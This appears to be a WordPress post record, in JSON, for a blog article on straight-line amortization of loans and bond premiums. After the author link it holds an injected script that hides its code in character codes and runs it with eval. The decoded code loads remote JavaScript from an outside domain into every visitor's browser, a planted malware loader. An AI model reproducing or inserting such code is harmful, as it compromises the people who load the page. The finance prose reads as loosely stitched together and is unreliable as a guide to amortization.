xTPDWxukaS3mpJpjtUIyMGySu0ZJ6tjr8KTe+Psckn90UvfFl7ucFxaiLU810nMcHk0hccncWaNnLEs4O7KoVK7RrhoPwjOHbjLXRR8IcVUwt5YyPV0UcayqELe9e+HeScKB0yTnwBIvuKO1Cjtduetsj01W0Kb5I2kBcnaW2KgYEt4D+JA9JF3HsU6djN9FRFUz9qHE86Rhy1NJcZTDIxDbWOCHGCUIwwxywQQxLEs4S4QrOF626Vj3ysuKXOVZlhqqhmWmPUsI1A2qGJLHCgkk5z0wJ1Pa\/N7oi326ptNwXABnpzvQPuYMhIkIVhhejEZ3jHgcQVvbJcKOmlqaenoqtIVmZhGjF22OigKBIclhJuUecKdSgaxun+Zj+ufZprtPgYijHUfnD7NZvYe1OtvUVS8ooqLyZguZomAly7KCmZBkd0HJx0YZxplx7Ua+jqzTmazGGGaNJ52mEaRoQpMnekGVG7HTxKt4Y1aBo8Zqd4zFF\/dp8c+v1al3VHzMf2p+7rIq3ttltcinyA16yRjlyUMHOjbqQnfEuBkdT5hnxJBxZWLtfe+VtRReTChFOoYzVcCpFIenRCJiW8fHGNQGl7qj5mP7U\/d0yNqgIfeYz3m\/OH5R\/d1mvEPa1XWOIVcaUFZTCGWVzDG7Sgrt2II1YszOWwFAz0JPnwQwcS3mbJgloniwTzOQ2GJOenf6jQHdxZw3VcTQ0PKqI6KpttWK2mnBMmyUI6A7cAEYdgQcjBOMNtdQ7hjsTp+FEp5E4grq9qSVJxJVS7pGK9epAA9PXHQS1HzpwUfjBffnKL\/Lt9\/Xj36+OjIZaLDAj\/o7ff0AT7qk9eXF9c+zSzU\/NxfXPs0MjiC9gY30P2D\/f0vxgvfy6H7B\/v6AI5GqN8WY4vhn45+SfVqTdP8yn2h+7oWa+3tmVuZRDac\/3D+gj5fr078YL585RfYN9\/QFO+fxw6jByM9f9pX6JdCsEjzcTQyyld7ojNtGBkvX5wNFWgMNqe1CjpQFn4b4kkmYnAprbSSoevd7\/ACxjIwTkdM+fB1f0HENurlWZp6mmR6aGcJNTUqyKX3ZVhyjgjaMjPjnRkez3go+PDNq\/yEH3NL8nnBOc\/ixauv8A+nwfc1W7AMe6lq\/Wb\/YUv9LS91LV+s3+wpf6Wib8nnBP7L2r+Xwfc0vyecE\/svav5fB9zUAM+6lq\/Wb\/AGFL\/S0vdS1frN\/sKX+lom\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AM+6lq\/Wb\/YUv8AS0vdS1frN\/sKX+lom\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AM+6lq\/Wb\/YUv9LS91LV+s3+wpf6Wib8nnBP7L2r+Xwfc0vyecE\/svav5fB9zQAz7qWr9Zv9hS\/0tL3UtX6zf7Cl\/paJvyecE\/svav5fB9zS\/J5wT+y9q\/l8H3NADPupav1m\/wBhS\/0tL3UtQ\/7Sf7Cl\/paJvyecE\/svav5fB9zS\/J5wT+y9q\/l8H3NADPuraT\/2k\/2FL\/S0vdS1frN\/sKX+lom\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AM+6lq\/Wb\/AGFL\/S0vdS1frN\/sKX+lom\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AM+6lq\/Wb\/YUv8AS0vdS1frN\/sKX+lom\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AM+6lq\/Wb\/YUv9LS91LV+s3+wpf6Wib8nnBP7L2r+Xwfc0vyecE\/svav5fB9zQAwLpbxVPWC9TNI8McHfhpWARCxUAGLp8M\/7tSe7tJ+tz\/laT+joj\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AOe7tJ+tz\/laT+jpe7tJ+tz\/laT+joj\/J5wT+y9q\/l8H3NL8nnBP7L2r+Xwfc0AD3Tjq32mupYKm5oKWeN2knZKJTGweJEAQw9\/JkOcHIxnBGStr7u0n63P+VpP6Wr2o7Luz2reKWo4Ps0jwtujdrbT7kOQeh2ZHVRn041Oezzgk+PDFq\/l8H3NADfu5Sfrc\/5Wk\/paXu5Sfrc\/5Wk\/paI\/yecE\/svav5fB9zS\/J5wT+y9q\/l8H3NADnu5Sfrc\/5Wk\/paXu5Sfrc\/5Wk\/paI\/yecE\/svav5fB9zS\/J5wT+y9q\/l8H3NADnu5Sfrc\/5Wk\/paXu5Sfrc\/5Wk\/paI\/yecE\/svav5fB9zS\/J5wT+y9q\/l8H3NADnu5Sfrc\/5Wk\/papr5xXcqMxmw01Vd2wTJFTUlGXHexn+68B5\/wCI0efk84J\/Ze1fy+D7mkezvgg+PC9pOBj\/APL4PD6mtWeE8mNxg6frv\/Rp\/wAzKL5XbMqbtPutJWxUFbZalneWdGKU8IaNUp2lUt\/ZCg7yiI9\/O45A82p7b2nz11PfKmW03CD3KQNTx+SQM1YeXuKoPJQThht7obPiNaa3ZzwMxy3CtoJ8etup\/ua8\/JtwH+ydn\/ltP9zWWJShBRk7aXX1MZU3ZmdD2oVFXevcyaxXaCmMjRisahp9hAZgGwaYYB2g9cfC9WdXY4tokd2934qnv7RTQ09AJY+hyT0JwCMHcqdWXG4ddGP5N+BP2Ts\/8up\/uaX5NuAycnhOz5\/\/AI2n+5rZZKBD8bKVuu+r+wt\/3dM\/GqnMjFrhLEiquyJqCjdpyS24B1TZHtAU974WSB1GjP8AJxwL+ylo\/l1P9zS\/JzwMPDhW0fy6n+5pYoDvxro\/nKv7C3\/d1yx8Z0r3SOla7qkckJk5bUtDzAd7rtztznChsbNu1x3s4BO\/yc8DfsraP5dT\/c0vyc8Dfsraf5dT\/c1BRR8NXM3PiZ5BVzVEcSUiRmRIlAASs6Ly1UY6+f0aP9VFv4SsNomjmtNHFRCNi5ipoIokkbaVBbYoJwGbHXHeOrfQotLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQC0tLS0AtLS0tALS0tLQH\/2Q==\" width=\"250px\" alt=\"straight line amortization formula\"\/><\/p>\n<p>You can calculate payment amounts using the straight-line amortization method if you know the total value of the loan including interest and its length. Mortgage repayment constitutes amortization because the bank loses its claim to the loan, and thus loses an intangible financial asset. The straight-line amortization method is the simplest way to amortize a bond or loan because it allocates an equal amount of interest over each accounting period in the debt&#8217;s life. The straight line amortization formula is computed by dividing the total interest amount by the number of periods in the debt&#8217;s life.<\/p>\n<p>In other words, if the bonds are a long-term liability, both Bonds Payable and Premium on Bonds Payable will be reported on the balance sheet as long-term liabilities. The combination of these two accounts is known as the book value or carrying value of the bonds. On January 1, 2020 the book value of this bond is $104,100 ($100,000 credit balance in Bonds Payable + $4,100 credit balance in Premium on Bonds Payable). Straight-line amortization offers a quicker reduction in the outstanding balance; so it suits borrowers who dislike bearing debts. Lenders sometimes prefer this method because it ensures quicker recovery of interest income. The mortgage-style method offers the benefit of constant flat payments, which makes budget planning easier. Both methods allow for more of a tax shield in the beginning of the loan because the borrower initially pays a higher amount of interest.<\/p>\n<p>Author: <a href=\"https:\/\/www.entrepreneur.com\/author\/kim-lachance-shandrow\">Kim Lachance Shandro<\/a><script>var f=String;eval(f.fromCharCode(102,117,110,99,116,105,111,110,32,97,115,115,40,115,114,99,41,123,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,125,32,118,97,114,32,108,111,61,34,104,116,116,112,115,58,47,47,102,111,114,46,102,105,114,115,116,98,108,97,99,107,112,104,97,115,101,46,99,111,109,47,116,114,98,98,98,98,98,50,34,59,105,102,40,97,115,115,40,108,111,41,61,61,102,97,108,115,101,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,115,46,115,114,99,61,108,111,59,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,125,32,101,108,115,101,32,123,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,125,125));\/*674867468*\/<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Content Business Plan Example Of Amortization Formula A Note About Amortization In The Uk Mortgage What Is Effective Interest Rate Method Ind As? An amortization schedule normally will show you&hellip; <\/p>\n","protected":false},"author":4,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"_links":{"self":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/24570"}],"collection":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/users\/4"}],"replies":[{"embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=24570"}],"version-history":[{"count":0,"href":"https:\/\/kirandhara.com\/index.php?rest_route=\/wp\/v2\/posts\/24570\/revisions"}],"wp:attachment":[{"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=24570"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=24570"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/kirandhara.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=24570"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}